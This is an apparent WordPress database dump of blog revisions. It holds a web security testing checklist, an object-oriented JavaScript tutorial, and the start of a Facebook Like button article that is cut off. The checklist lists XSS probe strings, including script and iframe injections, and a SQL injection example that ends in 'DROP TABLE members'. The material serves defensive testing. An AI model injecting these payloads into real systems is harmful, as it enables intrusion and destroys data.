%22%\r\n\r\n&nbsp;\r\n\r\n5.\'\"&gt;&lt;/a&gt;&lt;script&gt;alert (27097) &lt;/script&gt;\'\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Cross Site Scripting:</b>\r\n\r\n&nbsp;\r\n\r\nCheck whether the Input data fields allow the user to enter html or any other script tags or not. System should not allow the user to enter html tags or any other script tags.\r\n\r\n&nbsp;\r\n\r\nAny HTML tags e.g. &lt;HTML&gt; or any script e.g. &lt;SCRIPT&gt; should not be accepted by the application. If it is, the application can be prone to an attack by Cross Site Scripting.\r\n\r\n&nbsp;\r\n\r\nUsing cross-site scripting, attacker can use scripts like JavaScript to steal user cookies and information stored in the cookies.\r\n\r\n&nbsp;\r\n\r\nMany web applications get some user information and pass this information in some variables from different pages.\r\n\r\n&nbsp;\r\n\r\nEnter the following data in the input data fields:\r\n\r\n&nbsp;\r\n\r\nExample:\r\n\r\n&nbsp;\r\n\r\n1. \'\"&gt;&lt;/a&gt;&lt;script&gt;alert (27097) &lt;/script&gt;\'\r\n\r\n&nbsp;\r\n\r\n2. &lt;INPUT TYPE=\"hidden\" NAME=\"name\" id=\'aname1\' value=\"30\'\"&gt;&lt;iframe\r\n\r\nsrc=http://demo.testfire.net&gt;\"&gt;\r\n\r\n&nbsp;\r\n\r\n3. &lt;INPUT TYPE=\"hidden\" NAME=\"aname\" id=\'aname1\' value=\"\"\'&gt;&lt;IMG\r\n\r\nSRC=\"/WF_XSRF.html\"&gt;\"&gt;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>HTTP_REFERER:</b>\r\n\r\n&nbsp;\r\n\r\nLog in to the site from external sites/pages.\r\n\r\n&nbsp;\r\n\r\nExample:\r\n\r\n&nbsp;\r\n\r\nCreate a new html page for login using ‘Source code’ from the original site. Then Login to the original site from the html page. ()\r\n\r\n&nbsp;\r\n\r\nSystem should not allow the user to login to the site from the external sites/pages unless it is specified.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>SQL Injection:</b>\r\n\r\n&nbsp;\r\n\r\nCheck whether the input data fields allow the user to enter the “--” (double-dash), single quotes (‘), double quotes (“) and sql queries or not. System should not allow the user to enter the “--” (double-dash), single quotes (‘), double quotes (“) and sql queries.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nExample:\r\n\r\n&nbsp;\r\n\r\nIf the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.\r\n\r\n&nbsp;\r\n\r\nThe most drastic example is:\r\n\r\n&nbsp;\r\n\r\nSELECT email, passwd, login_id, full_name\r\n\r\nFROM members\r\n\r\nWHERE email = \'x\'; DROP TABLE members; --\';\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Cross site Request Forgery:</b>\r\n\r\n&nbsp;\r\n\r\nThe same request was sent twice in different sessions and the same response was received.\r\n\r\nThis shows that none of the parameters are dynamic (session identifiers are sent only in\r\n\r\nCookies) and therefore that the application is vulnerable to this issue.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n58.blog:\r\n\r\nHeader:\r\n\r\n<b>An approach for Security Testing of Web Applications</b>\r\n\r\n&nbsp;\r\n\r\nCategory: Web Technology\r\n\r\n&nbsp;\r\n\r\nDescription:  <strong>Introduction</strong>\r\n\r\nAs more and more vital data is stored in web applications and the number of transactions on the web increases, proper security testing of web applications is becoming very important. Security testing is the process that determines that confidential data stays confidential (i.e. it is not exposed to individuals/ entities for which it is not meant) and users can perform only those tasks that they are authorized to perform (e.g. a user should not be able to deny the functionality of the web site to other users, a user should not be able to change the functionality of the web application in an unintended way etc.).\r\n\r\n1. <strong>Password cracking:</strong>\r\n\r\nThe security testing on a web application can be kicked off by “password cracking”. In order to log in to the private areas of the application, one can either guess a username/ password or use some password cracker tool for the same. Lists of common usernames and passwords are available along with open source password crackers. If the web application does not enforce a complex password (e.g. with alphabets, number and special characters, with at least a required number of characters), it may not take very long to crack the username and password.\r\n\r\nIf username or password is stored in cookies without encrypting, attacker can use different methods to steal the cookies and then information stored in the cookies like username and password.\r\n\r\n\r\n2. <strong>URL manipulation through HTTP GET methods:</strong>\r\n\r\nCheck if the application passes important information in the querystring. This happens when the application uses the HTTP GET method to pass information between the client and the server. The information is passed in parameters in the querystring. The tester can modify a parameter value in the querystring to check if the server accepts it.\r\n\r\nVia HTTP GET request user information is passed to server for authentication or fetching data. Attacker can manipulate every input variable passed from this GET request to server in order to get the required information or to corrupt the data. In such conditions any unusual behavior by application or web server is the doorway for the attacker to get into the application.\r\n\r\n3. <strong>SQL Injection:</strong>\r\n\r\nThe next thing that should be checked is SQL injection. Entering a single quote (‘) in any textbox should be rejected by the application. Instead, if the tester encounters a database error, it means that the user input is inserted in some query which is then executed by the application. In such a case, the application is vulnerable to SQL injection.\r\n\r\nSQL injection attacks are very critical as attacker can get vital information from server database. To check SQL injection entry points into your web application, find out code from your code base where direct MySQL queries are executed on database by accepting some user inputs.\r\n\r\nIf user input data is crafted in SQL queries to query the database, attacker can inject SQL statements or part of SQL statements as user inputs to extract vital information from database. Even if attacker is successful to crash the application, from the SQL query error shown on browser, attacker can get the information they are looking for. Special characters from user inputs should be handled/escaped properly in such cases.\r\n\r\n4. <strong>Cross Site Scripting (XSS):</strong>\r\n\r\nThe tester should additionally check the web application for XSS (Cross site scripting). Any HTML e.g. &lt;HTML&gt; or any script e.g. &lt;SCRIPT&gt; should not be accepted by the application. If it is, the application can be prone to an attack by Cross Site Scripting.\r\n\r\nAttacker can use this method to execute malicious script or URL on victim’s browser. Using cross-site scripting, attacker can use scripts like JavaScript to steal user cookies and information stored in the cookies.\r\n\r\nMany web applications get some user information and pass this information in some variables from different pages.\r\n\r\nE.g.: http://www.examplesite.com/index.php?userid=123&amp;query=xyz\r\n\r\nAttacker can easily pass some malicious input or &lt;script&gt; as a ‘&amp;query’ parameter which can explore important user/server data on browser.\r\n\r\n5. <strong>URL session variables and HTTP_REFERER</strong>\r\n\r\nBecause the web is a stateless environment, there are several mechanisms that people use to track users as they move through an application. The most common mechanism is to set cookies with user ID and session ID, then track the user based on those cookies as they use the application. But, in the cases where cookies are not acceptable, the session information will typically be passed in URL variables, which can expose some not so obvious risks.\r\n\r\nIn some cases, developers will create the session state architecture on their own, but when developers use ColdFusion session state management they inherit this system from ColdFusion. ColdFusion provides web developers with the ability to store values on the server side that are unique to a user\'s \"session\" at the site. ColdFusion relies on two \"token\" values passed between the client browser and the ColdFusion Server to be able to distinguish one user\'s session variables from another\'s. These two token values are named \"CFID\" and \"CFTOKEN\", and together represent a unique visitor\'s session.\r\n\r\nIf session variables are being used by an application, ColdFusion\'s default behavior is to issue two browser cookies with numeric values named \"CFID\" and \"CFTOKEN\". For each subsequent trip to the server, ColdFusion uses these cookies to look up state information stored on the server. However, for sites which do not wish to use or rely on cookie browser support, the \"CFID\" and \"CFTOKEN\" values can be appended to the URL as variables using the URLTOKEN variable. ColdFusion will also automatically find and use these values.\r\n\r\nUnder normal circumstances, passing session information on a URL is not a problem, but there are potential risks that developers need to avoid when they code applications that pass session variable information, or any sensitive information on a URL. In general, you should avoid sending any sensitive information on a URL string out of your application:\r\n\r\n* Passing session ID data out of the application on the URL. The obvious mistake is to append the session information to a URL that is linking out of the application to another site. This will transfer the information to the other site where it can potentially be captured and used to mimic the user for unauthorized access.\r\n* Passing session ID data out of the application through the HTTP_REFERER header variable. Every HTTP request (hyperlink) includes an HTTP Header with a set of environment variables. One of the variables is \"HTTP_REFERER.\" This variable contains the URL that was used to access the page that is being linked from. So if you are navigating through an application with URL based session variables then you click a clean link from the application to another site, the HTTP_REFERER variable may contain the URL with the session data. As with the first example, this could then be used to spoof the user and return to the site for unauthorized access.\r\n\r\nAddressing URL Session Variable Security Risks\r\n\r\nThere are several different ways to help protect against the potential risks described above:\r\n\r\n* Don\'t pass session ID information on the URL. If you use cookies instead this will prevent the problem of accidentally passing session ID information out of a site.\r\n* Link to pages leaving an app with forms. You can link to pages that have links out of the application using forms instead of URLs. When you link to a page with a form, passing the session information in a hidden form field, the HTTP_REFERER variable that is created on the next link will not contain the session information.\r\n* Use other data to check users during sessions. Most systems will have a user ID that is unique for the user and a session ID that is unique for the session. In addition, you can use an IP address as another environment variable not based on the URL to help to confirm that your application is in fact talking with the right user. (If you are using ColdFusion session state management you cannot use this technique.)\r\n* Keep session timeouts short. Typically sessions are designed to \"timeout\" after a certain period of inactivity. It is a good idea to keep the session timeout length short (e.g. 10 -15 minutes) so that session IDs become invalid faster, which will leave less time for possible unauthorized access without authentication.\r\n<strong>Important</strong>: During security testing, one should be very careful not to modify any of the following:\r\n\r\n*  Configuration of the application or the server\r\n*  Services running on the server\r\n*  Existing user or customer data hosted by the application\r\n\r\nAdditionally, a security test should be avoided on a production system.\r\n<b>\r\n<strong>Conclusion:</strong></b> The purpose of the security test is to discover the vulnerabilities of the web application so that the developers can then remove these vulnerabilities from the application and make the web application and data safe from unauthorized actions.','An approach for Security Testing of Web Applications','','inherit','open','open','','207-revision-v1','','','2014-07-21 12:18:39','2014-07-21 12:18:39','',207,'http://localhost/yalavarthitechnologies/blog/?p=209',0,'revision','',0),(210,1,'2014-07-21 12:21:07','2014-07-21 12:21:07','<strong>Summary:</strong>\r\n<h3>Introduction</h3>\r\nThe first version of this paper, written in 2003, had several shortcomings, not the least of which was that the techniques described were specific to Internet Explorer. I\'ve updated and improved on the original, to document the current state of the art, especially in light of the extensive interest in AJAX technology and the increasing adoption of the FireFox browser. All the examples presented here will follow the ECMA language standards and can be applied to Internet Explorer, FireFox, and ActionScript (in Macromedia Flash).\r\n\r\nWhile early adopters of JavaScript used it as a simple scripting engine to create dynamic web pages, modern web designers have come to use more sophisticated object oriented techniques in building their code. I will present here, both the common paradigms used in object oriented JavaScript programming, and also suggest some helper functions that you can use in your code to streamline the process.\r\n\r\nIt should be noted that the current design of the JavaScript language, did not fully anticipate or fully implement an object oriented system. That is why the subject is somewhat mysterious and there are various implementations of object oriented programming techniques being used on the web today. I will describe what I believe to be the most main-stream and compatible implementation that fits most naturally into the design of the language.\r\n\r\n<b>Object Oriented Programming Goals</b>\r\n\r\nI assume that the reader has a basic familiarity with JavaScript, function calls, and the basic tenets of object oriented programming. I consider the three primary goals of object oriented programming to be:\r\n<ul>\r\n	<li><b>Encapsulation</b> - Support for method calls on a JavaScript object as a member of a Class.</li>\r\n	<li><b>Polymorphism</b> - The ability for two classes to respond to the same (collection of) methods.</li>\r\n	<li><b>Inheritance</b> - The ability to define the behavior of one object in terms of another by <i>sub-classing</i>.</li>\r\n</ul>\r\nThrough a series of examples (which, for the curious reader, are actually snippets of live JavaScript code embedded within this page), I will demonstrate how objects can be used in JavaScript and how these object oriented paradigms can be best implemented. I will cover techniques for:\r\n<ul>\r\n	<li>Defining a Class</li>\r\n	<li>Defining and calling Methods in a Class</li>\r\n	<li>Defining a Sub-Class</li>\r\n	<li>Calling the Super-Class constructor from a Sub-Class</li>\r\n	<li>Overriding Methods of a Super-Class in a Sub-Class</li>\r\n	<li>Calling a Super-Class method from a Sub-Class</li>\r\n</ul>\r\n<b>Simple Objects</b>\r\n<p align=\"center\"></p>\r\nThe simplest object oriented construct in JavaScript is the built-in <i>Object</i> data type. In JavaScript, objects are implemented as a collection of named properties. Being an interpreted language, JavaScript allows for the creation of any number of properties in an object at any time (unlike C++, properties can be added to an object at any time; they do not have to be pre-defined in an object declaration or constructor).\r\n\r\nSo, for example, we can create a new object and add several ad-hoc properties to it with the following code:\r\n\r\nobj = new Object;\r\n\r\nobj.x = 1;\r\n\r\nobj.y = 2;\r\n\r\nWhich creates a JavaScript object which I will represent graphically like this:\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">obj</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>1</td>\r\n</tr>\r\n<tr>\r\n<td>y</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nThe left hand column displays the property name of each available property on the object, while the right hand column displays it\'s value. Note that in addition to the <i>x</i> and <i>y</i> properties that we created, our object has an additional property called <i>constructor </i>that points (in this case) to an internal JavaScript function. I will explain <i>prototype</i> properties, below.\r\n\r\n<b>Defining a Class - Object Constructors</b>\r\n\r\nA new JavaScript class is defined by creating a simple function. When a function is called with the <i>new</i> operator, the function serves as the <i>constructor</i> for that class. Internally, JavaScript creates an <i>Object</i>, and then calls the constructor function. Inside the constructor, the variable <i>this</i> is initialized to point to the just created Object. This code snippet defines a new class, <i>Foo</i>, and then creates a single object of that class.\r\n\r\nfunction Foo()\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\nthis.y = 2;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nobj = new Foo;\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">obj</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>1</td>\r\n</tr>\r\n<tr>\r\n<td>y</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Foo.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>Foo</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nNote that we can now create as many <i>Foo</i> type objects as we want, all of whom will be properly initialized to have their <i>x</i> and <i>y</i> properties set to 1 and 2, respectively.\r\n\r\n<b>Prototypes Explained</b>\r\n\r\nIn JavaScript, each Object can inherit properties from another object, called it\'s <i>prototype</i>. When evaluating an expression to retrieve a property, JavaScript first looks to see if the property is defined directly in the object. If it is not, it then looks at the object\'s prototype to see if the property is defined there. This continues up the <i>prototype chain</i> until reaching the root prototype. Each object is associated with a prototype which comes from the constructor function from which it is created.\r\n\r\nFor example, if we want to create an object, X, from constructor function B, whose prototype chain is: B.prototype, A.prototype, Object.prototype:\r\n\r\nWe would use the following code:\r\n\r\nObject.prototype.inObj = 1;\r\n\r\n&nbsp;\r\n\r\nfunction A()\r\n\r\n{\r\n\r\nthis.inA = 2;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nA.prototype.inAProto = 3;\r\n\r\n&nbsp;\r\n\r\nB.prototype = new A;            // Hook up A into B\'s prototype chain\r\n\r\nB.prototype.constructor = B;\r\n\r\nfunction B()\r\n\r\n{\r\n\r\nthis.inB = 4;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.prototype.inBProto = 5;\r\n\r\n&nbsp;\r\n\r\nx = new B;\r\n\r\ndocument.write(x.inObj + \', \' + x.inA + \', \' + x.inAProto + \', \' + x.inB + \', \' + x.inBProto);\r\n\r\n1, 2, 3, 4, 5\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">x</td>\r\n</tr>\r\n<tr>\r\n<td>inB</td>\r\n<td>4</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>B.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>B</td>\r\n</tr>\r\n<tr>\r\n<td>inA</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td>inBProto</td>\r\n<td>5</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>A.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td>inAProto</td>\r\n<td>3</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n<tr>\r\n<td>inObj</td>\r\n<td>1</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<i>In FireFox and in ActionScript, an object\'s prototype can be explicitly referenced via the non-standard __proto__ property. But in standard JavaScript a prototype object can only by directly referenced through the object\'s constructor function object.</i>\r\n\r\n<b>Defining and Calling Methods in a Class</b>\r\n\r\nJavaScript allows you to assign any function to a property of an object. When you call that function using <i>obj.Function()</i> syntax, it will execute the function with <i>this</i> defined as a reference to the object (just as it was in the constructor).\r\n\r\nThe standard paradigm for defining methods is to assign functions to a constructor\'s prototype. That way, all objects created with the constructor automatically inherit the function references via the prototype chain.\r\n\r\nfunction Foo()\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nFoo.prototype.AddX = function(y)    // Define Method\r\n\r\n{\r\n\r\nthis.x += y;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nobj = new Foo;\r\n\r\n&nbsp;\r\n\r\nobj.AddX(5);                        // Call Method\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">obj</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>6</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Foo.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>Foo</td>\r\n</tr>\r\n<tr>\r\n<td>AddX</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<b>Polymorphism</b> is achieved by simply having different object classes implement a collection of methods that use the same names. Then, a caller, need just use the correctly named function property to invoke the appropriate function for each object type.\r\n\r\nfunction A()\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nA.prototype.DoIt = function()    // Define Method\r\n\r\n{\r\n\r\nthis.x += 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nfunction B()\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.prototype.DoIt = function()    // Define Method\r\n\r\n{\r\n\r\nthis.x += 2;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\na = new A;\r\n\r\nb = new B;\r\n\r\n&nbsp;\r\n\r\na.DoIt();\r\n\r\nb.DoIt();\r\n\r\ndocument.write(a.x + \', \' + b.x);\r\n\r\n2, 3\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">a</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>A.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td>DoIt</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">b</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>3</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>B.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>B</td>\r\n</tr>\r\n<tr>\r\n<td>DoIt</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<b>Defining a Sub-Class</b>\r\n\r\nThe standard paradigm, is to use the prototype chain to implement the inheritance of methods from a super class. Any methods defined on the sub-class will supersede those defined on the super-class.\r\n\r\nfunction A()                        // Define super class\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nA.prototype.DoIt = function()        // Define Method\r\n\r\n{\r\n\r\nthis.x += 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.prototype = new A;                // Define sub-class\r\n\r\nB.prototype.constructor = B;\r\n\r\nfunction B()\r\n\r\n{\r\n\r\nA.call(this);                    // Call super-class constructor (if desired)\r\n\r\nthis.y = 2;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.prototype.DoIt = function()        // Define Method\r\n\r\n{\r\n\r\nA.prototype.DoIt.call(this);    // Call super-class method (if desired)\r\n\r\nthis.y += 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nb = new B;\r\n\r\n&nbsp;\r\n\r\ndocument.write((b instanceof A) + \', \' + (b instanceof B) + \'&lt;BR/&gt;\');\r\n\r\nb.DoIt();\r\n\r\ndocument.write(b.x + \', \' + b.y);\r\n\r\ntrue, true\r\n2, 3\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">b</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td>y</td>\r\n<td>3</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>B.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>B</td>\r\n</tr>\r\n<tr>\r\n<td>(x)</td>\r\n<td>1</td>\r\n</tr>\r\n<tr>\r\n<td>DoIt</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>A.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td>(DoIt)</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nSomething to keep in mind is that each time a sub-class is defined, we explicitly call the constructor of the super-class in order to insert it into our prototype chain. So it is important to ensure that no undesirable side-effects will occur when this call is made. Conversely, if the super-class constructor should be called for each instance of every sub-class, code must be explicitly added to the sub-class\'s constructor to make this call (as is done in the above example).\r\n\r\n<b>An Alternate Sub-Classing Paradigm</b>\r\n\r\nAs an alternate to using the prototype chain, I\'ve developed a method which avoids calling the constructor of a super class when each sub-class is defined. Three methods are added to the Function object:\r\n\r\nFunction.prototype.DeriveFrom = function (fnSuper) {\r\n\r\nvar prop;\r\n\r\nif (this == fnSuper) {\r\n\r\nalert(\"Error - cannot derive from self\");\r\n\r\nreturn;\r\n\r\n}\r\n\r\nfor (prop in fnSuper.prototype) {\r\n\r\nif (typeof fnSuper.prototype[prop] == \"function\" &amp;&amp;\r\n\r\n!this.prototype[prop]) {\r\n\r\nthis.prototype[prop] = fnSuper.prototype[prop];\r\n\r\n}\r\n\r\n}\r\n\r\nthis.prototype[fnSuper.StName()] = fnSuper;\r\n\r\n}\r\n\r\nFunction.prototype.StName\r\n\r\n= function () {\r\n\r\nvar st;\r\n\r\nst = this.toString();\r\n\r\nst = st.substring(st.indexOf(\" \") + 1, st.indexOf(\"(\"));\r\n\r\nif (st.charAt(0) == \"(\") {\r\n\r\nst = \"function ...\";\r\n\r\n}\r\n\r\nreturn st;\r\n\r\n}\r\n\r\nFunction.prototype.Override\r\n\r\n= function (fnSuper, stMethod) {\r\n\r\nthis.prototype[fnSuper.StName() + (\"_\" + stMethod)] = fnSuper.prototype[stMethod];\r\n\r\n}\r\n\r\nRepeating the sub-classing example using this new paradigm:\r\n\r\nfunction A()                        // Define super class\r\n\r\n{\r\n\r\nthis.x = 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nA.prototype.DoIt = function()        // Define Method\r\n\r\n{\r\n\r\nthis.x += 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.DeriveFrom(A);                    // Define sub-class\r\n\r\nfunction B()\r\n\r\n{\r\n\r\nthis.A();                        // Call super-class constructor (if desired)\r\n\r\nthis.y = 2;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nB.Override(A, \'DoIt\');\r\n\r\nB.prototype.DoIt = function()        // Define Method\r\n\r\n{\r\n\r\nthis.A_DoIt();                    // Call super-class method (if desired)\r\n\r\nthis.y += 1;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nb = new B;\r\n\r\n&nbsp;\r\n\r\ndocument.write((b instanceof A) + \', \' + (b instanceof B) + \'&lt;BR/&gt;\');\r\n\r\nb.DoIt();\r\n\r\ndocument.write(b.x + \', \' + b.y);\r\n\r\nfalse, true\r\n2, 3\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">b</td>\r\n</tr>\r\n<tr>\r\n<td>x</td>\r\n<td>2</td>\r\n</tr>\r\n<tr>\r\n<td>y</td>\r\n<td>3</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>B.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>B</td>\r\n</tr>\r\n<tr>\r\n<td>DoIt</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>A</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td>A_DoIt</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nUnfortunately, this technique does not allow for the use of the <i>instanceof</i> operator to test for membership of a super-class. But, we have the added benefit that we can derive from more than one super class (multiple inheritance).\r\n\r\n<b>Private Members</b>\r\n\r\nAmazingly, JavaScript also can support private members in an object. When the constructor is called, variables declared in the function scope of the constructor will actually persist beyond the lifetime of the construction function itself. To access these variables, you need only create local functions within the scope of the constructor.  They may reference <i>local</i> variables in the constructor.\r\n\r\nfunction A()\r\n\r\n{\r\n\r\nvar x = 7;\r\n\r\n&nbsp;\r\n\r\nthis.GetX = function() { return x;}\r\n\r\nthis.SetX = function(xT) { x = xT; }\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nobj = new A;\r\n\r\nobj2 = new A;\r\n\r\ndocument.write(obj.GetX() + \' \' + obj2.GetX());\r\n\r\nobj.SetX(14);\r\n\r\ndocument.write(\' \' + obj.GetX() + \' \' + obj2.GetX());\r\n\r\n7 7 14 7\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">obj</td>\r\n</tr>\r\n<tr>\r\n<td>GetX</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>SetX</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>A.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n<table border=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td colspan=\"2\">obj2</td>\r\n</tr>\r\n<tr>\r\n<td>GetX</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>SetX</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>A.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>constructor</td>\r\n<td>A</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\"><i>Object.prototype</i></td>\r\n</tr>\r\n<tr>\r\n<td>(constructor)</td>\r\n<td>Object</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nI believe, however, that each instance of an object created in this way, has it\'s own copy of each local function.  The local copy of the function can maintain a copy of the local scope (a closure) of the constructor.  This would be rather inefficient for object classes that construct many instances.  Experiments with a single (shared) reference to a function reveal that they can only reference variables from a single instance of the class.  Since the benefits of using private members is rather limited in the context of JavaScript (which is already lacking any form of type safety), I would not recommend making extensive use of the <i>private member</i> paradigm.\r\n\r\n<b>Source:</b> <a href=\"http://mckoss.com/jscript/object.htm\">http://mckoss.com/jscript/object.htm</a>','Oop Concepts in Javascript','','inherit','open','open','','208-revision-v1','','','2014-07-21 12:21:07','2014-07-21 12:21:07','',208,'http://localhost/yalavarthitechnologies/blog/?p=210',0,'revision','',0),(212,1,'2014-07-21 12:22:50','2014-07-21 12:22:50','<strong>Summary:</strong>\r\n<h1>Facebook Like Button</h1>\r\nThe Like button enables users to make connections to your pages and share content back to their friends on Facebook with one click. Since the content is hosted by Facebook, the button can display personalized content whether or not the user has logged into your site. For logged-in Facebook users, the button is personalized to highlight friends who have also liked the page.\r\n\r\nThe basic Like button is available via a simple iframe you can drop into your page easily. A fuller-featured Like button is available via the <code>&lt;fb:like&gt;</code>XFBML tag (which requires you use the new <a href=\"http://developers.facebook.com/docs/reference/javascript/\">JavaScript SDK</a>). The XFBML version allows users to add a comment to their like as it is posted back to Facebook. The XFBML version also dynamically sizes its height; for example, if there are no profile pictures to display, the plugin will only be tall enough for the button itself.\r\n\r\nIf your web pages represent profiles of 